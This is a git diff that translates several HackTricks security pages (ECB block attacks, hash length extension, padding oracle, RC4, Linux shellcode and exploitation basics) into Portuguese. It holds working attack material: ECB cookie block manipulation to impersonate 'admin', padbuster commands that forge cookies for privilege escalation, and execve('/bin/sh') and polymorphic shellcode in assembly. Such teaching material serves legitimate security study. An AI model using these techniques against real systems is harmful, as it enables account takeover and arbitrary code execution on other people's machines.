--- a/src/cryptography/electronic-code-book-ecb.md
+++ b/src/cryptography/electronic-code-book-ecb.md
@@ -2,72 +2,66 @@
 
 # ECB
 
-(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
+(ECB) Livro de Códigos Eletrônicos - esquema de criptografia simétrica que **substitui cada bloco do texto claro** pelo **bloco de texto cifrado**. É o esquema de criptografia **mais simples**. A ideia principal é **dividir** o texto claro em **blocos de N bits** (depende do tamanho do bloco de dados de entrada, algoritmo de criptografia) e então criptografar (descriptografar) cada bloco de texto claro usando a única chave.
 
 ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
 
-Using ECB has multiple security implications:
+Usar ECB tem múltiplas implicações de segurança:
 
-- **Blocks from encrypted message can be removed**
-- **Blocks from encrypted message can be moved around**
+- **Blocos da mensagem criptografada podem ser removidos**
+- **Blocos da mensagem criptografada podem ser movidos**
 
-# Detection of the vulnerability
+# Detecção da vulnerabilidade
 
-Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\
-Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
-You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
-
-Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
+Imagine que você faz login em um aplicativo várias vezes e **sempre recebe o mesmo cookie**. Isso ocorre porque o cookie do aplicativo é **`|`**.\
+Então, você gera dois novos usuários, ambos com a **mesma senha longa** e **quase** o **mesmo** **nome de usuário**.\
+Você descobre que os **blocos de 8B** onde a **info de ambos os usuários** é a mesma são **iguais**. Então, você imagina que isso pode ser porque **ECB está sendo usado**.
 
+Como no exemplo a seguir. Observe como esses **2 cookies decodificados** têm várias vezes o bloco **`\x23U\xE45K\xCB\x21\xC8`**.
 ```
 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
 
 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
 ```
+Isto é porque o **nome de usuário e a senha desses cookies continham várias vezes a letra "a"** (por exemplo). Os **blocos** que são **diferentes** são blocos que continham **pelo menos 1 caractere diferente** (talvez o delimitador "|" ou alguma diferença necessária no nome de usuário).
 
-This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
+Agora, o atacante só precisa descobrir se o formato é `` ou ``. Para fazer isso, ele pode apenas **gerar vários nomes de usuário** com **nomes de usuário e senhas longos e semelhantes até encontrar o formato e o comprimento do delimitador:**
 
-Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
+| Comprimento do nome de usuário: | Comprimento da senha: | Comprimento do nome de usuário+senha: | Comprimento do cookie (após decodificação): |
+| ------------------------------- | --------------------- | ------------------------------------- | ------------------------------------------- |
+| 2                               | 2                     | 4                                     | 8                                           |
+| 3                               | 3                     | 6                                     | 8                                           |
+| 3                               | 4                     | 7                                     | 8                                           |
+| 4                               | 4                     | 8                                     | 16                                          |
+| 7                               | 7                     | 14                                    | 16                                          |
 
-| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
-| ---------------- | ---------------- | ------------------------- | --------------------------------- |
-| 2                | 2                | 4                         | 8                                 |
-| 3                | 3                | 6                         | 8                                 |
-| 3                | 4                | 7                         | 8                                 |
-| 4                | 4                | 8                         | 16                                |
-| 7                | 7                | 14                        | 16                                |
+# Exploração da vulnerabilidade
 
-# Exploitation of the vulnerability
-
-## Removing entire blocks
-
-Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
+## Removendo blocos inteiros
 
+Sabendo o formato do cookie (`|`), para se passar pelo nome de usuário `admin`, crie um novo usuário chamado `aaaaaaaaadmin` e obtenha o cookie e decodifique-o:
 ```
 \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
 ```
-
-We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
-Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
-
+Podemos ver o padrão `\x23U\xE45K\xCB\x21\xC8` criado anteriormente com o nome de usuário que continha apenas `a`.\
+Então, você pode remover o primeiro bloco de 8B e obterá um cookie válido para o nome de usuário `admin`:
 ```
 \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
 ```
+## Movendo blocos
 
-## Moving blocks
+Em muitos bancos de dados, é o mesmo procurar por `WHERE username='admin';` ou por `WHERE username='admin    ';` _(Note os espaços extras)_
 
-In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin    ';` _(Note the extra spaces)_
+Assim, outra maneira de se passar pelo usuário `admin` seria:
 
-So, another way to impersonate the user `admin` would be to:
+- Gerar um nome de usuário que: `len() + len(` gerará 2 blocos de 8Bs.
+- Em seguida, gerar uma senha que preencherá um número exato de blocos contendo o nome de usuário que queremos imitar e espaços, como: `admin   `
 
-- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs.
-- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin   `
+O cookie deste usuário será composto por 3 blocos: os primeiros 2 são os blocos do nome de usuário + delimitador e o terceiro da senha (que está falsificando o nome de usuário): `username       |admin   `
 
-The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username       |admin   `
+**Então, basta substituir o primeiro bloco pelo último e você estará se passando pelo usuário `admin`: `admin          |username`**
 
-**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin          |username`**
-
-## References
+## Referências
 
 - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]()
 
diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md
index 837cedd01..fcb09f2de 100644
--- a/src/cryptography/hash-length-extension-attack.md
+++ b/src/cryptography/hash-length-extension-attack.md
@@ -1,36 +1,36 @@
 {{#include ../banners/hacktricks-training.md}}
 
-# Summary of the attack
+# Resumo do ataque
 
-Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
+Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **secreto** a alguns dados de texto claro conhecidos e, em seguida, hashando esses dados. Se você souber:
 
-- **The length of the secret** (this can be also bruteforced from a given length range)
-- **The clear text data**
-- **The algorithm (and it's vulnerable to this attack)**
-- **The padding is known**
-  - Usually a default one is used, so if the other 3 requirements are met, this also is
-  - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
+- **O comprimento do secreto** (isso também pode ser forçado a partir de um intervalo de comprimento dado)
+- **Os dados de texto claro**
+- **O algoritmo (e ele é vulnerável a este ataque)**
+- **O padding é conhecido**
+- Normalmente, um padrão padrão é usado, então se os outros 3 requisitos forem atendidos, isso também é
+- O padding varia dependendo do comprimento do secreto + dados, é por isso que o comprimento do secreto é necessário
 
-Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
+Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma **assinatura** válida para os **dados anteriores + dados anexados**.
 
-## How?
+## Como?
 
-Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
+Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir do** **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
 
-Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
-If an attacker wants to append the string "append" he can:
+Então, imagine que o secreto é "secret" e os dados são "data", o MD5 de "secretdata" é 6036708eba0d11f6ef52ad44e8b74d5b.\
+Se um atacante quiser anexar a string "append", ele pode:
 
-- Generate a MD5 of 64 "A"s
-- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
-- Append the string "append"
-- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
+- Gerar um MD5 de 64 "A"s
+- Mudar o estado do hash previamente inicializado para 6036708eba0d11f6ef52ad44e8b74d5b
+- Anexar a string "append"
+- Finalizar o hash e o hash resultante será um **válido para "secret" + "data" + "padding" + "append"**
 
-## **Tool**
+## **Ferramenta**
 
 {% embed url="https://github.com/iagox86/hash_extender" %}
 
-## References
+## Referências
 
-You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
+Você pode encontrar este ataque bem explicado em [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md
index 499b42d4b..b18ac0e08 100644
--- a/src/cryptography/padding-oracle-priv.md
+++ b/src/cryptography/padding-oracle-priv.md
@@ -2,26 +2,24 @@
 
 

 
-{% embed url="https://websec.nl/" %}
-
 # CBC - Cipher Block Chaining
 
-In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
+No modo CBC, o **bloco criptografado anterior é usado como IV** para XOR com o próximo bloco:
 
 ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
 
-To decrypt CBC the **opposite** **operations** are done:
+Para descriptografar CBC, as **operações** **opostas** são realizadas:
 
 ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
 
-Notice how it's needed to use an **encryption** **key** and an **IV**.
+Observe como é necessário usar uma **chave de criptografia** e um **IV**.
 
-# Message Padding
+# Preenchimento de Mensagem
 
-As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
-Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
+Como a criptografia é realizada em **blocos de tamanho fixo**, o **preenchimento** geralmente é necessário no **último bloco** para completar seu comprimento.\
+Normalmente, o **PKCS7** é usado, que gera um preenchimento **repetindo** o **número** de **bytes** **necessários** para **completar** o bloco. Por exemplo, se o último bloco estiver faltando 3 bytes, o preenchimento será `\x03\x03\x03`.
 
-Let's look at more examples with a **2 blocks of length 8bytes**:
+Vamos ver mais exemplos com **2 blocos de comprimento 8bytes**:
 
 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0  | byte #1  | byte #2  | byte #3  | byte #4  | byte #5  | byte #6  | byte #7  |
 | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
 | P       | A       | S       | S       | W       | O       | R       | D       | 1        | 2        | 3        | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
 | P       | A       | S       | S       | W       | O       | R       | D       | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
 
-Note how in the last example the **last block was full so another one was generated only with padding**.
+Note como no último exemplo o **último bloco estava cheio, então outro foi gerado apenas com preenchimento**.
 
 # Padding Oracle
 
-When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
+Quando uma aplicação descriptografa dados criptografados, ela primeiro descriptografa os dados; então remove o preenchimento. Durante a limpeza do preenchimento, se um **preenchimento inválido acionar um comportamento detectável**, você tem uma **vulnerabilidade de padding oracle**. O comportamento detectável pode ser um **erro**, uma **falta de resultados** ou uma **resposta mais lenta**.
 
-If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
+Se você detectar esse comportamento, pode **descriptografar os dados criptografados** e até mesmo **criptografar qualquer texto claro**.
 
-## How to exploit
-
-You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
+## Como explorar
 
+Você pode usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explorar esse tipo de vulnerabilidade ou apenas fazer
 ```
 sudo apt-get install padbuster
 ```
-
-In order to test if the cookie of a site is vulnerable you could try:
-
+Para testar se o cookie de um site é vulnerável, você pode tentar:
 ```bash
 perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
 ```
+**Encoding 0** significa que **base64** é usado (mas outros estão disponíveis, verifique o menu de ajuda).
 
-**Encoding 0** means that **base64** is used (but others are available, check the help menu).
-
-You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
-
+Você também poderia **abusar dessa vulnerabilidade para criptografar novos dados. Por exemplo, imagine que o conteúdo do cookie é "**_**user=MyUsername**_**", então você pode alterá-lo para "\_user=administrator\_" e escalar privilégios dentro da aplicação. Você também poderia fazer isso usando `paduster` especificando o parâmetro -plaintext**:
 ```bash
 perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
 ```
-
-If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
-
+Se o site for vulnerável, `padbuster` tentará automaticamente descobrir quando o erro de padding ocorre, mas você também pode indicar a mensagem de erro usando o parâmetro **-error**.
 ```bash
 perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
 ```
+## A teoria
 
-## The theory
-
-In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
+Em **resumo**, você pode começar a descriptografar os dados criptografados adivinhando os valores corretos que podem ser usados para criar todos os **diferentes preenchimentos**. Então, o ataque de padding oracle começará a descriptografar bytes do final para o início, adivinhando qual será o valor correto que **cria um preenchimento de 1, 2, 3, etc**.
 
 ![](<../images/image (629) (1) (1).png>)
 
-Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
-In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
-Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
+Imagine que você tem algum texto criptografado que ocupa **2 blocos** formados pelos bytes de **E0 a E15**.\
+Para **descriptografar** o **último** **bloco** (**E8** a **E15**), todo o bloco passa pela "descriptografia de bloco" gerando os **bytes intermediários I0 a I15**.\
+Finalmente, cada byte intermediário é **XORed** com os bytes criptografados anteriores (E0 a E7). Então:
 
 - `C15 = D(E15) ^ E7 = I15 ^ E7`
 - `C14 = I14 ^ E6`
@@ -82,33 +72,31 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
 - `C12 = I12 ^ E4`
 - ...
 
-Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
+Agora, é possível **modificar `E7` até que `C15` seja `0x01`**, o que também será um preenchimento correto. Então, neste caso: `\x01 = I15 ^ E'7`
 
-So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
+Assim, encontrando E'7, é **possível calcular I15**: `I15 = 0x01 ^ E'7`
 
-Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
+O que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
 
-Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
+Sabendo **C15**, agora é possível **calcular C14**, mas desta vez forçando o preenchimento `\x02\x02`.
 
-This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
-Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
+Esse BF é tão complexo quanto o anterior, pois é possível calcular o `E''15` cujo valor é 0x02: `E''7 = \x02 ^ I15`, então só é necessário encontrar o **`E'14`** que gera um **`C14` igual a `0x02`**.\
+Então, siga os mesmos passos para descriptografar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
 
-**Follow this chain until you decrypt the whole encrypted text.**
+**Siga essa cadeia até que você descriptografe todo o texto criptografado.**
 
-## Detection of the vulnerability
+## Detecção da vulnerabilidade
 
-Register and account and log in with this account .\
-If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
+Registre uma conta e faça login com essa conta.\
+Se você **fizer login muitas vezes** e sempre receber o **mesmo cookie**, provavelmente há **algo** **errado** na aplicação. O **cookie enviado de volta deve ser único** cada vez que você faz login. Se o cookie é **sempre** o **mesmo**, provavelmente sempre será válido e não **haverá como invalidá-lo**.
 
-Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
-But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
+Agora, se você tentar **modificar** o **cookie**, pode ver que recebe um **erro** da aplicação.\
+Mas se você BF o preenchimento (usando padbuster, por exemplo), consegue obter outro cookie válido para um usuário diferente. Esse cenário é altamente provável de ser vulnerável ao padbuster.
 
-## References
+## Referências
 
 - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
 
 

 
-{% embed url="https://websec.nl/" %}
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md
index dc89fa296..8f6db3bd9 100644
--- a/src/cryptography/rc4-encrypt-and-decrypt.md
+++ b/src/cryptography/rc4-encrypt-and-decrypt.md
@@ -1,8 +1,8 @@
 {{#include ../banners/hacktricks-training.md}}
 
-If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
+Se você puder de alguma forma criptografar um texto simples usando RC4, você pode descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia.
 
-If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
+Se você puder criptografar um texto simples conhecido, também poderá extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos:
 
 {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
 
diff --git a/src/emails-vulns.md b/src/emails-vulns.md
index 15d9cc343..1aa843c84 100644
--- a/src/emails-vulns.md
+++ b/src/emails-vulns.md
@@ -1,4 +1,4 @@
-# Emails Vulnerabilities
+# Vulnerabilidades de Emails
 
 {{#include ./banners/hacktricks-training.md}}
 
@@ -7,4 +7,3 @@
 ##
 
 {{#include ./banners/hacktricks-training.md}}
-
diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md
index b0feaf1a9..b467751c5 100644
--- a/src/exploiting/linux-exploiting-basic-esp/README.md
+++ b/src/exploiting/linux-exploiting-basic-esp/README.md
@@ -4,39 +4,36 @@
 
 ## **2.SHELLCODE**
 
-Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
+Ver interrupções de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
 
 setreuid(0,0); // \_\_NR_setreuid 70\
 execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\
 exit(0); // \_\_NR_exit 1
 
-xor eax, eax ; limpiamos eax\
-xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
+xor eax, eax ; limpamos eax\
+xor ebx, ebx ; ebx = 0 pois não há argumento a passar\
 mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\
-int 0x80 ; Ejecutar syscall
+int 0x80 ; Executar syscall
 
-**nasm -f elf assembly.asm** —> Nos devuelve un .o\
-**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
-**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
-
-**Comprobar que la shellcode funciona**
+**nasm -f elf assembly.asm** —> Nos devolve um .o\
+**ld assembly.o -o shellcodeout** —> Nos dá um executável formado pelo código de montagem e podemos obter os opcodes com **objdump**\
+**objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e obter os OpCodes
 
+**Verificar se a shellcode funciona**
 ```
 char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
 
 void main(){
-            void (*fp) (void);
-            fp = (void *)shellcode;
-            fp();
+void (*fp) (void);
+fp = (void *)shellcode;
+fp();
 }​
 ```
+Para ver que as chamadas de sistema são realizadas corretamente, deve-se compilar o programa anterior e as chamadas do sistema devem aparecer em **strace ./PROGRAMA_COMPILADO**
 
-Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO**
-
-A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código.
-
-EJ **TRUCO (/bin/sh)**:
+Na hora de criar shellcodes, pode-se realizar um truque. A primeira instrução é um jump para um call. O call chama o código original e além disso coloca no stack o EIP. Depois da instrução call, colocamos a string que precisarmos, portanto, com esse EIP podemos apontar para a string e além disso continuar executando o código.
 
+EJ **TRUQUE (/bin/sh)**:
 ```
 jmp                 0x1f                                        ; Salto al último call
 popl                %esi                                       ; Guardamos en ese la dirección al string
@@ -56,9 +53,7 @@ int                    $0x80                         ; exit(0)
 call                  -0x24                          ; Salto a la primera instrución
 .string             \”/bin/sh\”                               ; String a usar​
 ```
-
-**EJ usando el Stack(/bin/sh):**
-
+**EJ usando o Stack(/bin/sh):**
 ```
 section .text
 global _start
@@ -79,54 +74,49 @@ mov                ecx, esp                     ; arg2 = args[]
 mov                al, 0x0b                      ; Syscall 11
 int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
 ```
-
 **EJ FNSTENV:**
-
 ```
 fabs
 fnstenv [esp-0x0c]
 pop eax                     ; Guarda el EIP en el que se ejecutó fabs
 …
 ```
-
 **Egg Huter:**
 
-Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código.
+Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali guardada (busca alguma assinatura colocada na shellcode). Útil nos casos em que se tem apenas um pequeno espaço para injetar código.
 
 **Shellcodes polimórficos**
 
-Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**:
-
+Consistem em shells criptografadas que têm um pequeno código que as descriptografa e salta para ele, usando o truque de Call-Pop este seria um **exemplo cifrado cesar**:
 ```
 global _start
 _start:
-            jmp short magic
+jmp short magic
 init:
-            pop     esi
-            xor      ecx, ecx
-            mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
+pop     esi
+xor      ecx, ecx
+mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
 desc:
-            sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
-            sub     cl, 1
-            jnz       desc
-            jmp     short sc
+sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
+sub     cl, 1
+jnz       desc
+jmp     short sc
 magic:
-            call init
+call init
 sc:
-            ;Aquí va el shellcode
+;Aquí va el shellcode
 ```
-
-## **5.Métodos complementarios**
+## **5.Métodos complementários**
 
 **Técnica de Murat**
 
-En linux todos los progamas se mapean comenzando en 0xbfffffff
+Em linux todos os programas se mapeiam começando em 0xbfffffff
 
-Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
+Vendo como se constrói a pilha de um novo processo em linux, pode-se desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. A endereço desta então pode ser calculada como: addr = 0xbfffffff - 4 - strlen(NOME_ejecutable_completo) - strlen(shellcode)
 
-De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode.
+Dessa forma, obter-se-ia de forma simples a endereço onde está a variável de ambiente com a shellcode.
 
-Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen
+Isso pode ser feito graças à função execle que permite criar um ambiente que só tenha as variáveis de ambiente desejadas.
 
 ##
 
@@ -140,66 +130,66 @@ Esto se puede hacer gracias a que la función execle permite crear un entorno qu
 
 ### **Format Strings to Buffer Overflows**
 
-Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\
-For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow.
+A **sprintf moves** uma string formatada **para** uma **variável.** Portanto, você poderia abusar do **formato** de uma string para causar um **buffer overflow na variável** onde o conteúdo é copiado.\
+Por exemplo, o payload `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um buffer overflow.
 
 ### **\_\_atexit Structures**
 
 > [!CAUTION]
-> Nowadays is very **weird to exploit this**.
+> Hoje em dia é muito **estranho explorar isso**.
 
-**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
-If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
-Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
-The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
+**`atexit()`** é uma função à qual **outras funções são passadas como parâmetros.** Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
+Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para uma shellcode, por exemplo, você **ganhará controle** do **processo**, mas isso atualmente é mais complicado.\
+Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual aponta não são os endereços das funções, mas estão **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente, esse vetor de ataque **não é muito útil, pelo menos em x86** e **x64_86**.\
+A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
 
 ### **setjmp() & longjmp()**
 
 > [!CAUTION]
-> Nowadays is very **weird to exploit this**.
+> Hoje em dia é muito **estranho explorar isso**.
 
-**`Setjmp()`** allows to **save** the **context** (the registers)\
-**`longjmp()`** allows to **restore** the **context**.\
-The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\
-What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\
-They are useful for error recovery or interrupts.\
-However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP.
+**`Setjmp()`** permite **salvar** o **contexto** (os registradores)\
+**`longjmp()`** permite **restaurar** o **contexto**.\
+Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\
+O que acontece é que EIP e ESP são passados pela **`PTR_MANGLE`** função, então a **arquitetura vulnerável a esse ataque é a mesma que acima**.\
